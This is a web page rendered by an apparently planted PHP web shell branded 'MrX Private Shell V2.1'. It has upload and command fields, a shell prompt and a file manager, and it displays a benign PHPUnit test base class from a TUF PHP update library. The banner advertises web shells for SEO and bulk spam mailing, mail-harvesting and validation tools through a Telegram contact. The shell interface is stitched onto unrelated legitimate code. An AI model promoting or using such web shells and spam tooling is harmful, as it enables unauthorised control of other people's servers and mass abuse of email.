__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Tuf\Tests;

use PHPUnit\Framework\TestCase;
use Tuf\Client\Updater;
use Tuf\Loader\SizeCheckingLoader;
use Tuf\Tests\Client\TestLoader;
use Tuf\Tests\TestHelpers\DurableStorage\TestStorage;
use Tuf\Tests\TestHelpers\FixturesTrait;
use Tuf\Tests\TestHelpers\TestClock;
use Tuf\Tests\TestHelpers\TestRepository;

/**
 * Defines a base class for functionally testing the TUF client workflow.
 */
class ClientTestBase extends TestCase
{
    use FixturesTrait;

    /**
     * The client-side metadata storage.
     *
     * This is initially empty; use ::loadClientFilesFromFixture() to populate
     * it with the client-side files from a particular fixture.
     *
     * @var \Tuf\Tests\TestHelpers\DurableStorage\TestStorage
     *
     * @see ::loadClientFilesFromFixture()
     * @see ::loadClientAndServerFilesFromFixture()
     */
    protected TestStorage $clientStorage;

    /**
     * A container for server-side files, as strings or streams.
     *
     * This is initially empty; use ::loadServerFilesFromFixture() to populate
     * it with the server-side files from a particular fixture.
     *
     * @var \Tuf\Tests\Client\TestLoader
     *
     * @see ::loadServerFilesFromFixture()
     * @see ::loadClientAndServerFilesFromFixture()
     */
    protected TestLoader $serverFiles;

    /**
     * The server-side TUF repository.
     *
     * This is a higher-level abstraction than $this->serverFiles. This returns
     * untrusted metadata objects, loaded from the server. The raw JSON used to
     * create those objects is pulled from $this->serverFiles.
     *
     * @var \Tuf\Tests\TestHelpers\TestRepository
     */
    protected TestRepository $serverMetadata;

    /**
     * {@inheritDoc}
     */
    protected function setUp(): void
    {
        parent::setUp();
        $this->clientStorage = new TestStorage();
        $this->serverFiles = new TestLoader();
        $this->serverMetadata = new TestRepository(new SizeCheckingLoader($this->serverFiles));
    }

    /**
     * Returns a TUF client for testing.
     *
     * The returned client will reference the server-side data from
     * $this->serverFiles and $this->serverMetdata, and it will reference the
     * client-side data in $this->clientStorage. Use
     * ::loadClientAndServerFilesFromFixture(), ::loadClientFilesFromFixture(),
     * and ::loadServerFilesFromFixture() to populate the client and/or server
     * side with data from our fixtures.
     *
     * @param string $updaterClass
     *   (optional) The updater class. Defaults to \Tuf\Client\Updater.
     *
     * @return \Tuf\Client\Updater
     *   The updater.
     *
     * @see ::loadClientAndServerFilesFromFixture()
     * @see ::loadClientFilesFromFixture()
     * @see ::loadServerFilesFromFixture()
     */
    protected function getUpdater(string $updaterClass = Updater::class): Updater
    {
        $updater = new $updaterClass(new SizeCheckingLoader($this->serverFiles), $this->clientStorage);

        // Force the updater to use our test clock so that, like supervillains,
        // we control what time it is.
        $reflector = new \ReflectionObject($updater);
        $property = $reflector->getProperty('clock');
        $property->setAccessible(true);
        $property->setValue($updater, new TestClock());

        $property = $reflector->getProperty('server');
        $property->setAccessible(true);
        $property->setValue($updater, $this->serverMetadata);

        return $updater;
    }

    /**
     * Loads client- and server-side TUF metadata from a fixture.
     *
     * @param string $fixtureName
     *   The name of the fixture from which to load TUF metadata.
     */
    protected function loadClientAndServerFilesFromFixture(string $fixtureName): void
    {
        $this->loadServerFilesFromFixture($fixtureName);
        $this->loadClientFilesFromFixture($fixtureName);
    }

    /**
     * Populates $this->clientStorage with a fixture's client-side metadata.
     *
     * @param string $fixtureName
     *   The name of the fixture from which to load client-side TUF metadata.
     */
    protected function loadClientFilesFromFixture(string $fixtureName): void
    {
        $path = static::getFixturePath($fixtureName, 'client/metadata/current');
        $this->clientStorage = TestStorage::createFromDirectory($path);

        // Remove all '*.[TYPE].json', because they are needed for the tests.
        $fixtureFiles = array_map('basename', scandir($path));
        $this->assertNotEmpty($fixtureFiles);
        foreach ($fixtureFiles as $fileName) {
            if (preg_match('/^[0-9]+\..+\.json$/', $fileName)) {
                // Strip out the file extension.
                $fileName = substr($fileName, 0, -5);
                $this->clientStorage->delete($fileName);
            }
        }

        $this->assertMetadataVersions(self::getClientStartVersions($fixtureName), $this->clientStorage);
    }

    /**
     * Populates $this->serverFiles with a fixture's server-side metadata.
     *
     * @param string $fixtureName
     *   The name of the fixture from which to load server-side TUF metadata.
     */
    protected function loadServerFilesFromFixture(string $fixtureName): void
    {
        $basePath = static::getFixturePath($fixtureName);
        $this->serverFiles->populateFromFixture($basePath);
    }
}

Filemanager

Name Type Size Permission Actions
Client Folder 0775
Metadata Folder 0775
TestHelpers Folder 0775
Unit Folder 0775
ClientTestBase.php File 5.24 KB 0664
SignatureVerifierTest.php File 2.3 KB 0664
Filemanager